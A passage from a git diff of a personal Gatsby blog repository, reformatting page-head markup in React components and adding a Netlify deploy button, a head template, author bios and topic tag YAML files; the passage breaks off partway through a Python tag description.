-                    <link rel="apple-touch-icon" sizes="114x114" href="/apple-touch-icon-114x114.png" />
-                    <link rel="apple-touch-icon" sizes="120x120" href="/apple-touch-icon-120x120.png" />
-                    <link rel="apple-touch-icon" sizes="144x144" href="/apple-touch-icon-144x144.png" />
-                    <link rel="apple-touch-icon" sizes="152x152" href="/apple-touch-icon-152x152.png" />
-                    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon-180x180.png" />
-                    <meta charSet="utf-8" />
-                    <meta name="viewport" content="width=device-width, initialScale=1.0" />
-                    <meta name="description" content={_.get(this.props, 'pageContext.frontmatter.seo.description', null) || ''} />
-                    {_.get(this.props, 'pageContext.frontmatter.seo.robots', null) && (
-                        <meta name="robots" content={_.join(_.get(this.props, 'pageContext.frontmatter.seo.robots', null), ',')} />
-                    )}
-                    {_.map(_.get(this.props, 'pageContext.frontmatter.seo.extra', null), (meta, meta_idx) => {
-                        let key_name = _.get(meta, 'keyName', null) || 'name';
-                        return _.get(meta, 'relativeUrl', null) ? (
-                            _.get(this.props, 'pageContext.site.siteMetadata.domain', null) &&
-                                (() => {
-                                    let domain = _.trim(_.get(this.props, 'pageContext.site.siteMetadata.domain', null), '/');
-                                    let rel_url = withPrefix(_.get(meta, 'value', null));
-                                    let full_url = domain + rel_url;
-                                    return <meta key={meta_idx} {...attribute(key_name, _.get(meta, 'name', null))} content={full_url} />;
-                                })()
-                        ) : (
-                            <meta key={meta_idx + '.1'} {...attribute(key_name, _.get(meta, 'name', null))} content={_.get(meta, 'value', null)} />
+                    <title> {
+                        _.get(this.props, "pageContext.frontmatter.seo.title", null) ? _.get(this.props, "pageContext.frontmatter.seo.title", null) : _.get(this.props, "pageContext.frontmatter.title", null) + " | " + _.get(this.props, "pageContext.site.siteMetadata.title", null)
+                    } </title>
+                    <meta charSet="utf-8"/>
+                    <meta name="viewport" content="width=device-width, initialScale=1.0"/>
+                    <meta name="google-site-verification" content="q5W83EYchlVTyA-iYRE4ElQGcbD_vukQF0NKW12N3qU"/>
+                    <meta charset="UTF-8"/>
+                    <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
+                    <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
+                    <link rel="apple-touch-icon" href="logo-circle.png"/>
+                    <meta name="viewport" content="width=device-width, initial-scale=1"/>
+                    <meta http-equiv="Content-Type" content="HTML"/>
+                    <meta name="Author" content="Bryan Guner"/>
+                    <meta name="keywords" content="HTML, Meta Tags, Metadata"/>
+                    <meta http-equiv="Content-Type" content="text/html; charset=us-ascii"/>
+                    <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no"/>
+                    <meta name="twitter:card" content="summary"/>
+                    <meta name="twitter:site" content="@bgoonz"/>
+                    <meta name="twitter:creator" content="@bgoonz"/>
+                    <meta name="twitter:image:src" content="/logo-circle.png"/>
+                    <meta name="twitter:title" content="Web Development Resource Hub Bryan Guner"/>
+                    <meta property="twitter:card" content="summary_large_image"/>
+                    <link href="https://instructure-uploads-pdx.s3.us-west-2.amazonaws.com/account_168550000000000001/attachments/537/logo-canvas.png" rel="apple-touch-icon"/>
+                    <link type="text/css" href="https://fonts.googleapis.com/css?family=Raleway:200,100,400" rel="stylesheet"/>
+                    <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"/>
+                    <link rel="apple-touch-icon" href="/apple-touch-icon.png"/>
+                    <meta charSet="utf-8"/>
+                    <meta name="viewport" content="width=device-width, initialScale=1.0"/>
+                    <meta name="description"
+                        content={
+                            _.get(this.props, "pageContext.frontmatter.seo.description", null) || ""
+                        }/> {
+                    _.get(this.props, "pageContext.frontmatter.seo.robots", null) && (
+                        <meta name="robots"
+                            content={
+                                _.join(_.get(this.props, "pageContext.frontmatter.seo.robots", null), ",")
+                            }/>
+                    )
+                }
+                    {
+                    _.map(_.get(this.props, "pageContext.frontmatter.seo.extra", null), (meta, meta_idx) => {
+                        let key_name = _.get(meta, "keyName", null) || "name";
+                        return _.get(meta, "relativeUrl", null) ? (_.get(this.props, "pageContext.site.siteMetadata.domain", null) && (() => {
+                            let domain = _.trim(_.get(this.props, "pageContext.site.siteMetadata.domain", null), "/");
+                            let rel_url = withPrefix(_.get(meta, "value", null));
+                            let full_url = domain + rel_url;
+                            return (
+                                <meta key={meta_idx}
+                                    {...attribute(key_name, _.get(meta, "name", null))}
+                                    content={full_url}/>
+                            );
+                        })()) : (
+                            <meta key={
+                                    meta_idx + ".1"
+                                }
+                                {...attribute(key_name, _.get(meta, "name", null))}
+                                content={
+                                    _.get(meta, "value", null)
+                                }/>
                         );
-                    })}
-                    <link rel="preconnect" href="https://fonts.gstatic.com" />
-                    <link href="https://fonts.googleapis.com/css2?family=Lato:ital,wght@0,400;0,700;1,400;1,700&display=swap" rel="stylesheet" />
-                    {_.get(this.props, 'pageContext.site.siteMetadata.favicon', null) && (
-                        <link rel="icon" href={withPrefix(_.get(this.props, 'pageContext.site.siteMetadata.favicon', null))} />
-                    )}
-                    <body className={'palette-' + _.get(this.props, 'pageContext.site.siteMetadata.palette', null)} />
+                    })
+                }
+                    <link rel="preconnect" href="https://fonts.gstatic.com"/>
+                    <link href="https://fonts.googleapis.com/css2?family=Lato:ital,wght@0,400;0,700;1,400;1,700&display=swap" rel="stylesheet"/> {
+                    _.get(this.props, "pageContext.site.siteMetadata.favicon", null) && (
+                        <link rel="icon"
+                            href={
+                                withPrefix(_.get(this.props, "pageContext.site.siteMetadata.favicon", null))
+                            }/>
+                    )
+                }
+                    <body className={
+                        "palette-" + _.get(this.props, "pageContext.site.siteMetadata.palette", null)
+                    }/>
                 </Helmet>
                 <div id="page" className="site">
-                    <Header {...this.props} />
+                    <Header {...this.props}/>
                     <main id="content" className="site-content">
-                        {this.props.children}
-                    </main>
-                    <Footer {...this.props} />
+                  
+                        {
+                        this.props.children
+                    } </main>
+                    <Footer {...this.props}/>
+
+
                 </div>
             </React.Fragment>
         );
diff --git a/src/components/Repo-links.js b/src/components/Repo-links.js
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/src/components/SectionGrid.js b/src/components/SectionGrid.js
index 98551e3753..07044620e9 100644
--- a/src/components/SectionGrid.js
+++ b/src/components/SectionGrid.js
@@ -1,3 +1,5 @@
+/* It renders a section with a title, subtitle, and a grid of items */
+
 import _ from 'lodash';
 import React from 'react';
 import { classNames, htmlToReact, Link, markdownify, withPrefix } from '../utils';
diff --git a/src/components/SectionHero.js b/src/components/SectionHero.js
index 919a5cdb71..740d05e4be 100644
--- a/src/components/SectionHero.js
+++ b/src/components/SectionHero.js
@@ -1,7 +1,10 @@
-import _ from 'lodash';
+/* It renders a section with a background image, a title, some content, and a set of buttons */
 import React from 'react';
-import { markdownify, toStyleObj, withPrefix } from '../utils';
+import _ from 'lodash';
+
+import {toStyleObj, withPrefix, markdownify} from '../utils';
 import CtaButtons from './CtaButtons';
+
 export default class SectionHero extends React.Component {
     render() {
         let section = _.get(this.props, 'section', null);
diff --git a/src/components/Submenu.js b/src/components/Submenu.js
index 2696021baf..1b7fef6362 100644
--- a/src/components/Submenu.js
+++ b/src/components/Submenu.js
@@ -1,26 +1,23 @@
-import _ from 'lodash';
 import React from 'react';
-import { classNames } from '../utils';
+import _ from 'lodash';
+
+import {classNames} from '../utils';
 import ActionLink from './ActionLink';
+
 export default class Submenu extends React.Component {
     render() {
         let page = _.get(this.props, 'page', null);
         return (
             <ul className={_.get(this.props, 'menu_class', null)}>
-                {_.map(_.get(this.props, 'submenu', null), (action, action_idx) => {
-                    let page_url = _.trim(_.get(page, 'url', null), '/');
-                    let action_url = _.trim(_.get(action, 'url', null), '/');
-                    return (
-                        <li
-                            key={action_idx}
-                            className={classNames('menu-item', {
-                                current: page_url === action_url,
-                                'menu-button': _.get(action, 'style', null) !== 'link'
-                            })} >
-                            <ActionLink {...this.props} action={action} />
-                        </li>
-                    );
-                })}
+            {_.map(_.get(this.props, 'submenu', null), (action, action_idx) => {
+                let page_url = _.trim(_.get(page, 'url', null), '/');
+                let action_url = _.trim(_.get(action, 'url', null), '/');
+                return (
+                  <li key={action_idx} className={classNames('menu-item', {'current': page_url === action_url, 'menu-button': _.get(action, 'style', null) !== 'link'})}>
+                    <ActionLink {...this.props} action={action} />
+                  </li>
+                )
+            })}
             </ul>
         );
     }
diff --git a/src/components/deploy-code.js b/src/components/deploy-code.js
new file mode 100644
index 0000000000..673e1fca89
--- /dev/null
+++ b/src/components/deploy-code.js
@@ -0,0 +1,9 @@
+export default function deployButton() {
+  return `
+  <a href="https://app.netlify.com/start/deploy?repository=https://github.com/netlify/BGOONZ_BLOG_2.0&utm_campaign=devex&utm_source=BGOONZ_BLOG_2.0&utm_medium=web&utm_content=Deploy%20Edge%20Functions%20Examples%20to%20Netlify" target="_blank" rel="noopener" class="cta-button">
+    Deploy to Netlify
+  </a>
+  `;
+}
+
+// <a href="https://app.netlify.com/start/deploy?repository=https://github.com/netlify/BGOONZ_BLOG_2.0" rel="nofollow"><img src="/deploy-button.svg" alt="Deploy to Netlify" data-canonical-src="https://www.netlify.com/img/deploy/button.svg"></a>
diff --git a/src/components/head.js b/src/components/head.js
new file mode 100644
index 0000000000..d4eb06e135
--- /dev/null
+++ b/src/components/head.js
@@ -0,0 +1,53 @@
+export default function head({
+  title,
+  metaDescription,
+  url,
+  openGraphImageName,
+}) {
+  return `
+    <head>
+    <meta charset="UTF-8" />
+    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+
+    <!-- Meta -->
+    <title>${title} | Edge Functions on Netlify</title>
+    <meta name="description" content="${metaDescription}" />
+
+    <!-- Fonts -->
+    <link rel="preconnect" href="https://fonts.googleapis.com" />
+    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
+    <link href="https://fonts.googleapis.com/css2?family=Mulish:wght@300;900&display=swap" rel="stylesheet" />
+
+    <!-- Favicons -->
+    <meta name="theme-color" content="#ffffff" />
+    <link rel="icon" href="/favicon.svg" />
+    <link rel="mask-icon" href="/mask-icon.svg" color="#000000" />
+    <link rel="apple-touch-icon" href="/apple-touch-icon.png" />
+    <link rel="manifest" href="/manifest.json" />
+    <link rel="stylesheet" href="/styles.css" />
+
+    <!-- Open Graph -->
+    <meta name="twitter:card" content="summary_large_image" />
+    <meta name="twitter:site" content="@netlify" />
+    <meta name="twitter:creator" content="@netlify" />
+
+    <meta property="og:url" content="${url}" />
+    <meta property="og:type" content="website" />
+    <meta property="og:title" content="${title}" />
+    <meta property="og:description" content="${metaDescription}" />
+    <meta property="og:locale" content="en_US" />
+
+    <meta property="og:image" content="https://res.cloudinary.com/netlify/image/upload/c_fit,g_west,h_400,co_rgb:FFFFFFFF,l_text:netlify.com:Pacaembu-Bold.ttf_57:Netlify%20Edge%20Functions:%0A${encodeURI(
+      title
+    )},w_1053,x_46/v1619123320/netlify.com/default-og-background-learn-more.png" />
+    <meta property="og:image:alt" content="A Netlify branded open graph image representing ${title}" />
+    <meta property="og:image:width" content="1200" />
+    <meta property="og:image:height" content="630" />
+    <meta property="og:site_name" content="Edge Functions on Netlify" />
+
+    <script src="/lib/highlight.min.js"></script>
+    <script>hljs.highlightAll();</script>
+  </head>
+  `;
+}
diff --git a/src/components/index.js b/src/components/index.js
index ffbe766983..1c4f80ccae 100644
--- a/src/components/index.js
+++ b/src/components/index.js
@@ -1,3 +1,4 @@
+/* Exporting all the components in the folder. */
 import ActionLink from './ActionLink';
 import CtaButtons from './CtaButtons';
 import DocsMenu from './DocsMenu';
@@ -5,13 +6,13 @@ import DocsSubmenu from './DocsSubmenu';
 import Footer from './Footer';
 import Header from './Header';
 import Icon from './Icon';
+import Layout from './Layout';
 import SectionContent from './SectionContent';
 import SectionCta from './SectionCta';
 import SectionDocs from './SectionDocs';
 import SectionGrid from './SectionGrid';
 import SectionHero from './SectionHero';
 import Submenu from './Submenu';
-import Layout from './Layout';
 export {
     ActionLink,
     CtaButtons,
diff --git a/src/data/authors/backup.yaml b/src/data/authors/backup.yaml
new file mode 100644
index 0000000000..9c606f24d4
--- /dev/null
+++ b/src/data/authors/backup.yaml
@@ -0,0 +1,20 @@
+id: Backup
+first_name: Backup
+last_name: Author
+photo: /blog/wartime-blog-cover-art-modified.png
+short_bio: >-
+    <!--StartFragment-->
+
+
+    ## About
+
+
+    [](https://www.linkedin.com/in/bryan-guner-046199128/add-edit/SUMMARY/?profileFormEntryPoint=PROFILE_SECTION&trackingId=LeUnT7fXQYKAZmMp8EatZw%3D%3D)
+
+
+    Web Developer and Electrical Engineer.\
+
+    I have a bachelor’s degree in electrical engineering from TCNJ and a web development certification from Lambda School, and I am an exceedingly creative and passionate engineer. I genuinely enjoy and excel in a collaborative environment. I often assume a hybrid role between creative design and leadership. I have a tendency to become deeply entrenched in my work when left to my own devices but I am perfectly adaptable to a host of different leadership styles.
+
+
+    <!--EndFragment-->
diff --git a/src/data/authors/bgoonz.yaml b/src/data/authors/bgoonz.yaml
new file mode 100644
index 0000000000..8190c3e1e3
--- /dev/null
+++ b/src/data/authors/bgoonz.yaml
@@ -0,0 +1,23 @@
+id: bgoonz
+first_name: Bryan
+last_name: Guner
+photo: https://github.com/bgoonz/bgoonz/blob/master/circle-small-sharp.png?raw=true?raw=true
+short_bio: >-
+  <!--StartFragment-->
+
+
+  ## About
+
+
+  [](https://www.linkedin.com/in/bryan-guner-046199128/add-edit/SUMMARY/?profileFormEntryPoint=PROFILE_SECTION&trackingId=LeUnT7fXQYKAZmMp8EatZw%3D%3D)
+
+
+  **Web Developer and Electrical Engineer.**
+
+
+  \
+
+  *I have a bachelor’s degree in electrical engineering from TCNJ and a web development certification from Lambda School, and I am an exceedingly creative and passionate engineer. I genuinely enjoy and excel in a collaborative environment. I often assume a hybrid role between creative design and leadership. I have a tendency to become deeply entrenched in my work when left to my own devices but I am perfectly adaptable to a host of different leadership styles.*
+
+
+  <!--EndFragment-->
diff --git a/src/data/doc_sections.yml b/src/data/doc_sections.yml
index 3620519df5..50472136c3 100644
--- a/src/data/doc_sections.yml
+++ b/src/data/doc_sections.yml
@@ -1,3 +1,5 @@
+
+
 root_docs_path: /docs
 sections:
     - about
diff --git a/src/data/tags/aria.yaml b/src/data/tags/aria.yaml
new file mode 100644
index 0000000000..a4104ab29c
--- /dev/null
+++ b/src/data/tags/aria.yaml
@@ -0,0 +1,19 @@
+id: Aria
+title: Aria
+description: >-
+  <!--StartFragment-->
+
+
+  **ARIA** (*Accessible Rich glossary("Internet" Applications*) is a ("W3C") specification for adding semantics and other metadata to Glossary("HTML") to cater to users of assistive technology.
+
+
+  For example, you could add the attribute `role="alert"` to a HTMLElement("p") glossary("tag") to notify a sight-challenged user that the information is important and time-sensitive (which you might otherwise convey through text color).
+
+
+  ## [](https://github.com/bgoonz/docs-collection/blob/master/mdn/glossary/aria/index.md#learn-more)Learn More
+
+
+  * [ARIA](https://github.com/bgoonz/docs-collection/blob/master/en-US/docs/Web/Accessibility/ARIA)
+
+
+  <!--EndFragment-->
diff --git a/src/data/tags/array.yaml b/src/data/tags/array.yaml
new file mode 100644
index 0000000000..d97f272e12
--- /dev/null
+++ b/src/data/tags/array.yaml
@@ -0,0 +1,48 @@
+id: Array
+title: Array
+description: >-
+    <!--StartFragment-->
+
+
+    An array is an ordered collection of data (either Glossary("primitive") or Glossary("object") depending upon the language). Arrays are used to store multiple values in a single variable. This is compared to a variable that can store only one value.
+
+
+
+
+    Each item in an array has a number attached to it, called a numeric index, that allows you to access it. In JavaScript, arrays start at index zero and can be manipulated with various Glossary("Method", "methods").
+
+
+
+
+    What an array in JavaScript looks like:
+
+
+
+
+    let myArray = \[1, 2, 3, 4];
+
+
+    let catNamesArray = \["Jacqueline", "Sophia", "Autumn"];
+
+
+    //Arrays in JavaScript can hold different types of data, as shown above.
+
+
+    Learn more
+
+
+    General knowledge
+
+
+    Interwiki("wikipedia", "Array data structure", "Array") on Wikipedia
+
+
+    Technical reference
+
+
+    JavaScript jsxref("Array") on MDN
+
+
+
+
+    <!--EndFragment-->
diff --git a/src/data/tags/audio.yaml b/src/data/tags/audio.yaml
new file mode 100644
index 0000000000..cdbc4946ea
--- /dev/null
+++ b/src/data/tags/audio.yaml
@@ -0,0 +1,2 @@
+id: Audio
+title: Music
diff --git a/src/data/tags/awesome-lists.yaml b/src/data/tags/awesome-lists.yaml
new file mode 100644
index 0000000000..507b38dcbb
--- /dev/null
+++ b/src/data/tags/awesome-lists.yaml
@@ -0,0 +1,3 @@
+id: Awesome Lists
+title: Awesome
+description: Curated lists of awesome resources
diff --git a/src/data/tags/c.yaml b/src/data/tags/c.yaml
new file mode 100644
index 0000000000..abc0439b98
--- /dev/null
+++ b/src/data/tags/c.yaml
@@ -0,0 +1,4 @@
+id: C++
+title: C++
+description: C++
+link: blog/category/cplusplus
diff --git a/src/data/tags/clean-code.yaml b/src/data/tags/clean-code.yaml
new file mode 100644
index 0000000000..5364a6e47b
--- /dev/null
+++ b/src/data/tags/clean-code.yaml
@@ -0,0 +1,3 @@
+id: Clean Code
+title: Clean Code
+description: Clean Code
diff --git a/src/data/tags/content-management.yaml b/src/data/tags/content-management.yaml
new file mode 100644
index 0000000000..982be45b9f
--- /dev/null
+++ b/src/data/tags/content-management.yaml
@@ -0,0 +1,3 @@
+id: 'Content Management '
+title: 'Content Management '
+description: Content Management
diff --git a/src/data/tags/css.yaml b/src/data/tags/css.yaml
new file mode 100644
index 0000000000..bdc67d27ee
--- /dev/null
+++ b/src/data/tags/css.yaml
@@ -0,0 +1,17 @@
+id: Css
+title: CSS
+description: CSS is designed to enable the separation of presentation and
+    content, including [layout](https://en.m.wikipedia.org/wiki/Page_layout "Page
+    layout"), [colors](https://en.m.wikipedia.org/wiki/Color "Color"),
+    and [fonts](https://en.m.wikipedia.org/wiki/Typeface
+    "Typeface").[\[3]](https://en.m.wikipedia.org/wiki/CSS#cite_note-3) This
+    separation can improve
+    content [accessibility](https://en.m.wikipedia.org/wiki/Accessibility
+    "Accessibility"); provide more flexibility and control in the specification of
+    presentation characteristics; enable multiple [web
+    pages](https://en.m.wikipedia.org/wiki/Web_page "Web page") to share
+    formatting by specifying the relevant CSS in a separate .css file, which
+    reduces complexity and repetition in the structural content; and enable the
+    .css file to be [cached](https://en.m.wikipedia.org/wiki/Cache_(computing)
+    "Cache (computing)") to improve the page load speed between the pages that
+    share the file and its formatting.
diff --git a/src/data/tags/db.yaml b/src/data/tags/db.yaml
new file mode 100644
index 0000000000..dcd783db36
--- /dev/null
+++ b/src/data/tags/db.yaml
@@ -0,0 +1,6 @@
+id: db
+title: Databases
+description: "> ***In computing, a database is an organized collection of data
+  stored and accessed electronically. Small databases can be stored on a file
+  system, while large databases are hosted on computer clusters or cloud
+  storage***"
diff --git a/src/data/tags/ds-algo.yaml b/src/data/tags/ds-algo.yaml
new file mode 100644
index 0000000000..304f66ce6e
--- /dev/null
+++ b/src/data/tags/ds-algo.yaml
@@ -0,0 +1,16 @@
+id: DS-Algo
+title: Data Structures & Algorithms
+description: >-
+  <!--StartFragment-->
+
+
+  ###### **Data Structures** are a specialized means of organizing and storing data in computers in such a way that we can perform operations on the stored data more efficiently. Data structures have a wide and diverse scope of usage across the fields of Computer Science and Software Engineering.Image by author
+
+
+  ![](https://miro.medium.com/max/473/1*KpDOKMFAgDWaGTQHL0r70g.png)
+
+
+  Data structures are being used in almost every program or software system that has been developed. Moreover, data structures come under the fundamentals of Computer Science and Software Engineering. It is a key topic when it comes to Software Engineering interview questions. Hence as developers, we must have good knowledge about data structures.
+
+
+  <!--EndFragment-->
diff --git a/src/data/tags/gatsbyjs.yaml b/src/data/tags/gatsbyjs.yaml
new file mode 100644
index 0000000000..9ee65a2c5d
--- /dev/null
+++ b/src/data/tags/gatsbyjs.yaml
@@ -0,0 +1,62 @@
+id: GatsbyJS
+title: Gatsby Project Structure
+description: >-
+  <!--StartFragment-->
+
+
+  # Gatsby Project Structure
+
+
+  ## TABLE OF CONTENTS
+
+
+  * [Folders](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#folders)
+
+  * [Files](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#files)
+
+  * [Miscellaneous](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#miscellaneous)
+
+
+  Inside a Gatsby project, you may see some or all of the following folders and files:
+
+
+  ```text
+
+
+  ```
+
+
+  ## [](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#folders)Folders
+
+
+  * **`/.cache`** *Automatically generated.* This folder is an internal cache created automatically by Gatsby. The files inside this folder are not meant for modification. Should be added to the `.gitignore` file if not added already.
+
+  * **`/plugins`** This folder hosts any project-specific (“local”) plugins that aren’t published as an `npm` package. Check out the [plugin docs](https://www.gatsbyjs.com/docs/plugins/) for more detail.
+
+  * **`/public`** *Automatically generated.* The output of the build process will be exposed inside this folder. Should be added to the `.gitignore` file if not added already.
+
+  * **`/src`** This directory will contain all of the code related to what you will see on the frontend of your site (what you see in the browser), like your site header, or a page template. “src” is a convention for “source code”.
+
+    * **`/api`** JavaScript and TypeScript files under `src/api` become functions automatically with paths based on their file name. Check out the [functions guide](https://www.gatsbyjs.com/docs/reference/functions/) for more detail.
+    * **`/pages`** Components under `src/pages` become pages automatically with paths based on their file name. Check out the [pages recipes](https://www.gatsbyjs.com/docs/recipes/pages-layouts) for more detail.
+    * **`/templates`** Contains templates for programmatically creating pages. Check out the [templates docs](https://www.gatsbyjs.com/docs/conceptual/building-with-components/#page-template-components) for more detail.
+    * **`html.js`** For custom configuration of default `.cache/default_html.js`. Check out the [custom HTML docs](https://www.gatsbyjs.com/docs/custom-html/) for more detail.
+  * **`/static`** If you put a file into the static folder, it will not be processed by webpack. Instead it will be copied into the public folder untouched. Check out the [assets docs](https://www.gatsbyjs.com/docs/how-to/images-and-media/static-folder/#adding-assets-outside-of-the-module-system) for more detail.
+
+
+  ## [](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#files)Files
+
+
+  You can also author all these files in TypeScript, see [TypeScript and Gatsby](https://www.gatsbyjs.com/docs/how-to/custom-configuration/typescript/) for more details.
+
+
+  * **`gatsby-browser.js`**: This file is where Gatsby expects to find any usage of the [Gatsby browser APIs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-browser/) (if any). These allow customization/extension of default Gatsby settings affecting the browser.
+
+  * **`gatsby-config.js`**: This is the main configuration file for a Gatsby site. This is where you can specify information about your site (metadata) like the site title and description, which Gatsby plugins you’d like to include, etc. Check out the [config docs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-config/) for more detail.
+
+  * **`gatsby-node.js`**: This file is where Gatsby expects to find any usage of the [Gatsby node APIs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-node/) (if any). These allow customization/extension of default Gatsby settings affecting pieces of the site build process.
+
+  * **`gatsby-ssr.js`**: This file is where Gatsby expects to find any usage of the [Gatsby server-side rendering APIs](https://www.gatsbyjs.com/docs/reference/config-files/gatsby-ssr/) (if any). These allow customization of default Gatsby settings affecting server-side rendering.
+
+
+  <!--EndFragment-->
diff --git a/src/data/tags/git.yaml b/src/data/tags/git.yaml
new file mode 100644
index 0000000000..8fc97c7400
--- /dev/null
+++ b/src/data/tags/git.yaml
@@ -0,0 +1,5 @@
+id: Git
+title: Github
+description: "> ***GitHub, Inc. is a provider of Internet hosting for software
+  development and version control using Git. It offers the distributed version
+  control and source code management functionality of Git, plus its own***"
diff --git a/src/data/tags/google.yaml b/src/data/tags/google.yaml
new file mode 100644
index 0000000000..3cf892af43
--- /dev/null
+++ b/src/data/tags/google.yaml
@@ -0,0 +1,71 @@
+id: Google
+title: Google Apis Services And Tools
+description: "### [Chrome
+  DevTools](https://developer.chrome.com/docs/devtools/)\r
+
+  \r
+
+  The Chrome DevTools are a set of web authoring and debugging tools built
+  into Google Chrome. Use the DevTools to iterate, debug and profile your
+  site.\r
+
+  \r
+
+  ### [Lighthouse](https://developers.google.com/web/tools/lighthouse)\r
+
+  \r
+
+  Lighthouse is an open-source, automated tool for improving the quality of
+  your web apps. It is integrated directly into the Chrome DevTools Audits
+  panel. You can also run Lighthouse from the command line or install the Chrome
+  Extension.\r
+
+  \r
+
+  ### [Puppeteer](https://developers.google.com/web/tools/puppeteer)\r
+
+  \r
+
+  Puppeteer is a Node library which provides a high-level API to control
+  headless Chrome over the DevTools Protocol. It can also be configured to use
+  full (non-headless) Chrome or Chromium.\r
+
+  \r
+
+  ### [Workbox](https://developers.google.com/web/tools/workbox)\r
+
+  \r
+
+  Workbox is a set of service worker libraries and tools that make it easy to
+  build an offline PWA and take advantage of the service worker APIs.\r
+
+  \r
+
+  ### [Lit](https://lit.dev/)\r
+
+  \r
+
+  Lit is a simple library for building fast, lightweight web components. You
+  can use Lit to build web components that work in any framework, or with no
+  framework at all.\r
+
+  \r
+
+  ### [Angular](https://angular.io/)\r
+
+  \r
+
+  Angular is a development platform for building applications across web,
+  mobile, and desktop. With simple, declarative templates, reusable components,
+  and support for all parts of the development experience, Angular makes it easy
+  to write, test, and deploy high performing applications at any scale.\r
+
+  \r
+
+  ### [PageSpeed
+  Module](https://developers.google.com/speed/pagespeed/module)\r
+
+  \r
+
+  The PageSpeed modules are open-source server modules that optimize your site
+  automatically."
diff --git a/src/data/tags/html.yaml b/src/data/tags/html.yaml
new file mode 100644
index 0000000000..26696da7ba
--- /dev/null
+++ b/src/data/tags/html.yaml
@@ -0,0 +1,6 @@
+id: Html
+title: HTML
+description: The HyperText Markup Language or HTML is the standard markup
+    language for documents designed to be displayed in a web browser. It can be
+    assisted by technologies such as Cascading Style Sheets (CSS) and scripting
+    languages such as JavaScript.
diff --git a/src/data/tags/javascript.yaml b/src/data/tags/javascript.yaml
new file mode 100644
index 0000000000..8a4fba1834
--- /dev/null
+++ b/src/data/tags/javascript.yaml
@@ -0,0 +1,3 @@
+id: Javascript
+title: JavaScript
+description: Javascript programming language.
diff --git a/src/data/tags/js.yaml b/src/data/tags/js.yaml
new file mode 100644
index 0000000000..43a1365a15
--- /dev/null
+++ b/src/data/tags/js.yaml
@@ -0,0 +1,33 @@
+
+id: JS
+title: JavaScript
+description: >-
+  <!--StartFragment-->
+
+
+  ## [A high-level definition](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#a_high-level_definition "Permalink to A high-level definition")
+
+
+  JavaScript is a scripting or programming language that allows you to implement complex features on web pages — every time a web page does more than just sit there and display static information for you to look at — displaying timely content updates, interactive maps, animated 2D/3D graphics, scrolling video jukeboxes, etc. — you can bet that JavaScript is probably involved. It is the third layer of the layer cake of standard web technologies, two of which ([HTML](https://developer.mozilla.org/en-US/docs/Learn/HTML) and [CSS](https://developer.mozilla.org/en-US/docs/Learn/CSS))
+
+
+  <!--StartFragment-->
+
+
+  The core client-side JavaScript language consists of some common programming features that allow you to do things like:
+
+
+  * Store useful values inside variables. In the above example for instance, we ask for a new name to be entered then store that name in a variable called `name`.
+
+  * Operations on pieces of text (known as "strings" in programming). In the above example we take the string "Player 1: " and join it to the `name` variable to create the complete text label, e.g. "Player 1: Chris".
+
+  * Running code in response to certain events occurring on a web page. We used a `click` event in our example above to detect when the label is clicked and then run the code that updates the text label.
+
+  * And much more!
+
+
+  <!--EndFragment-->
+
+
+  <!--EndFragment-->
+
diff --git a/src/data/tags/physics.yaml b/src/data/tags/physics.yaml
new file mode 100644
index 0000000000..4bf04df75f
--- /dev/null
+++ b/src/data/tags/physics.yaml
@@ -0,0 +1,4 @@
+id: Physics
+title: Physics
+description: Physics
+link: "blog/category/physics "
diff --git a/src/data/tags/py.yaml b/src/data/tags/py.yaml
new file mode 100644
index 0000000000..80d2a0f293
--- /dev/null
+++ b/src/data/tags/py.yaml
@@ -0,0 +1,7 @@
+id: Py
+title: Python
+description: '> Python is a high-level, general-purpose programming language.
+    Its design philosophy emphasizes code readability with the use of significant
+    indentation. Its language constructs and object-oriented approach aim to help
+    programmers write clear, logical code for small- and large-scale projects.'
+
diff --git a/src/data/tags/python.yaml b/src/data/tags/python.yaml
new file mode 100644
index 0000000000..8a1cc6ebdd
--- /dev/null
+++ b/src/data/tags/python.yaml
@@ -0,0 +1,78 @@
+id: python
+title: python
+description: "Python is a [multi-paradigm programming
+  language](https://en.wikipedia.org/wiki/Multi-paradigm_programming_language
+  \"Multi-paradigm programming language\"). [Object-oriented
+  programming](https://en.wikipedia.org/wiki/Object-oriented_programming
+  \"Object-oriented programming\") and [structured
+  programming](https://en.wikipedia.org/wiki/Structured_programming \"Structured
+  programming\") are fully supported, and many of its features support
+  functional programming and [aspect-oriented
+  programming](https://en.wikipedia.org/wiki/Aspect-oriented_programming
+  \"Aspect-oriented programming\") (including by
+  [metaprogramming](https://en.wikipedia.org/wiki/Metaprogramming
+  \"Metaprogramming\")[meta](https://en.wikipedia.org/wiki/Python_(programming_\
+  language)#cite_note-AutoNT-13-59) and
+  [metaobjects](https://en.wikipedia.org/wiki/Metaobject \"Metaobject\")
+  \\[magic methods\\]
+  ).[\\[60\\]](https://en.wikipedia.org/wiki/Python_(programming_language)#cite\
+  _note-AutoNT-14-60) Many other paradigms are supported via extensions,
+  including [design by
+  contract](https://en.wikipedia.org/wiki/Design_by_contract \"Design by
+  contract\")[\\[61\\]](https://en.wikipedia.org/wiki/Python_(programming_langu\
+  age)#cite_note-AutoNT-15-61)[\\[62\\]](https://en.wikipedia.org/wiki/Python_(\
+  programming_language)#cite_note-AutoNT-16-62) and [logic
+  programming](https://en.wikipedia.org/wiki/Logic_programming \"Logic
+  programming\").[\\[63\\]](https://en.wikipedia.org/wiki/Python_(programming_l\
+  anguage)#cite_note-AutoNT-17-63)\r
+
+  \r
+
+  Python uses [dynamic typing](https://en.wikipedia.org/wiki/Dynamic_typing
